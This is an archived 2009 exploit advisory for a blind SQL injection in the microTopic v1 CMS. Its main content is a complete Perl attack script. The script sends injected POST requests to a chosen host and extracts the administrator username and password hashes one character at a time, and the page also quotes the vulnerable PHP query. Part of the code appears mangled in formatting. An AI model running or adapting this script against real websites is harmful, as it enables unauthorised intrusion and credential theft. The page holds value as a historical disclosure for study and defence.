Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:21804
HistoryMay 12, 2009 - 12:00 a.m.

(POST var 'rating') BLIND SQL INJECTION--microTopic v1 Initial Release-->

2009-05-1200:00:00
vulners.com
23

#!/usr/bin/perl
#---------------------------------------------------------------------------
#(POST var 'rating') BLIND SQL INJECTION–microTopic v1 Initial Release–>
#---------------------------------------------------------------------------

#CMS INFORMATION:

#–>WEB: http://sourceforge.net/projects/microtopic/
#–>DOWNLOAD: http://sourceforge.net/projects/microtopic/
#–>DEMO: N/A
#–>CATEGORY: CMS / Portal
#–>DESCRIPTION: Simple News / Opinion site with page ranking Lightweight at ~ 200kb

Secure - Hashed challenge/response login Flexible…

#CMS VULNERABILITY:

#–>TESTED ON: firefox 3.0.10
#–>DORK: "N/A"
#–>CATEGORY: BLIND SQL INJECTION/ PERL EXPLOIT
#–>AFFECT VERSION: v-1
#–>Discovered Bug date: 2009-05-08
#–>Reported Bug date: 2009-05-08
#–>Fixed bug date: 2009-05-10
#–>Info patch (v1.01): http://sourceforge.net/projects/microtopic/
#–>Author: YEnH4ckEr
#–>mail: y3nh4ck3r[at]gmail[dot]com
#–>WEB/BLOG: N/A
#–>COMMENT: A mi novia Marijose…hermano,cunyada, padres (y amigos xD) por su apoyo.

#------------
#VULN FILES:
#------------

#Path –> [HOME_PATH]/admin/utopic.php

#It contents:

$query="SELECT UNIX_TIMESTAMP(max(datum)) FROM {$my_table}_ip WHERE id='$_POST[rating]'

AND ip='$_SERVER[REMOTE_ADDR]'";

$sql=SendSQL($query);

#Path –> [HOME_PATH]/admin/mysql.php

#It contents:

#function SendSQL($query){

$sql=mysql_query($query) or die("CANNOT ".$query);

return $sql;

}

#------------
#CONDITIONS:
#------------

#**magic quotes=off

#######################################################################
#######################################################################
##*******************************************************************##

SPECIAL THANKS TO: Str0ke and every H4ck3r(all who do milw0rm)!

####
##-------------------------------------------------------------------##
##
##

GREETZ TO: JosS, Ulises2k and all SPANISH Hack3Rs community!

##*******************************************************************##
#######################################################################
#######################################################################

#-------------------EOF---------------------------------->>>ENJOY IT!

use LWP::UserAgent;
use HTTP::Request;
#Subroutines
sub lw
{
my $SO = $^O;
my $linux = "";
if (index(lc($SO),"win")!=-1){
$linux="0";
}else{
$linux="1";
}
if($linux){
system("clear");
}
else{
system("cls");
system ("title microTopic v1 Initial Release (POST var 'rating') BLIND SQL
Injection Exploit");
system ("color 02");
}
}
sub request {
my $userag = LWP::UserAgent->new;
$userag -> agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
my $request = HTTP::Request -> new(POST => $[0]);
$request->content_type('application/x-www-form-urlencoded');
$request->content($
[1]);
my $outcode= $userag->request($request)->as_string;
return $outcode;
}
sub helper {
print "\n\t[XxX] microTopic v1 Initial Release (POST var 'rating') BLIND SQL Injection
Exploit\n";
print "\t[XxX] USAGE MODE: [XxX]\n";
print "\t[XxX] perl $0 [HOST] [PATH] [topic]\n";
print "\t[XxX] [HOST]: Web.\n";
print "\t[XxX] [PATH]: Home Path. Not path: no-path\n";
print "\t[XxX] [topic]: Valid topic. Opt: 1,2,3,4\n";
print "\t[XxX] Example: perl $0 'www.example.es' 'microtopic' '1'\n";
}
sub error {
print "\t-----------------------------------------------------------------\n";
print "\tWEB IS NOT VULNERABLE!\n";
print "\tMaybe –> \n";
print "\t1.-Patched\n";
print "\t2.-topic doesn't exist\n";
print "\t3.-Magic quotes ON\n";
print "\tEXPLOIT FAILED!\n";
print "\t-----------------------------------------------------------------\n";
}
sub testedblindsql {
print "\t-----------------------------------------------------------------\n";
print "\tWEB IS VULNERABLE!\n";
print "\tTested Blind SQL Injection.\n";
print "\tStarting exploit…Waiting…\n";
print "\t-----------------------------------------------------------------\n";
}
sub exploit {
my $result="";
$k=1;
$z=48;
while(($k<=32) && ($z<=126)){

$blindsqlpost="rate=1&rating=".$[1]."'+AND+ascii(substring((SELECT+".$[2]."+FROM+utopic_login+WHERE+loginid=1),".$k.",1))='".$z."&postedcounter=1&action=doit";
$output=&request($_[0],$blindsqlpost);
if ( $output =~ (/\<\/head\>\<body\>/))
{
$result=$result.chr($z);
$k++;
$z=47;
}
if($z==57)
{
$z=96;
}
#new char
$z++;
}
return $result;
}
#Main
&lw;
print "\t\t#########################################################\n\n";
print "\t\t#########################################################\n\n";
print "\t\t## microTopic v1 Initial Release - BSQLi Exploit ##\n\n";
print "\t\t## Author: Y3nh4ck3r ##\n\n";
print "\t\t## Condition: magic quotes=off ##\n\n";
print "\t\t## Contact:y3nh4ck3r[at]gmail[dot]com ##\n\n";
print "\t\t## Proud to be Spanish! ##\n\n";
print "\t\t#########################################################\n\n";
print "\t\t#########################################################\n\n";
#Init variables
my $host=$ARGV[0];
my $path=$ARGV[1];
my $topic=$ARGV[2];
#Build the uri
if($path eq "no-path"){
$finalhost="http://".$host."/index.php?topic=".$topic;
}else{
$finalhost="http://".$host."/".$path."/index.php?topic=".$topic;
}
#Check all variables needed
$numArgs = $#ARGV + 1;
if($numArgs<=2)
{
&helper;
exit(1);
}
$finalrequest = $finalhost;
#Testing blind sql injection
$blindsqlpost="rate=1&rating=".$topic."'+AND+1='0&postedcounter=1&action=doit"; #blind sql
injection
$output=&request($finalrequest,$blindsqlpost);
if ( $output !~ (/\<\/head\>\<body\>/))
{
#blind sql injection is available
&testedblindsql;
}else{
#Not injectable
&error;
exit(1);
}
#Bruteforcing user…
$usernamehash=&exploit($finalrequest,$topic,'username');
#Bruteforcing pass…
$passhash=&exploit($finalrequest,$topic,'password');
print "\n\t\t*************************************************\n";
print "\t\t**** EXPLOIT EXECUTED WITH SUCCESS \n";
print "\t\t
*********************************************\n\n";
print "\t\tUsername(md5 hash):".$usernamehash."\n";
print "\t\tPassword(md5 hash):".$passhash."\n\n";
print "\n\t\t<<----------------------FINISH!-------------------->>\n\n";
print "\t\t<<---------------Thanks to: y3hn4ck3r-------------->>\n\n";
print "\t\t<<------------------------EOF---------------------->>\n\n";
exit(1);
#Ok…all job done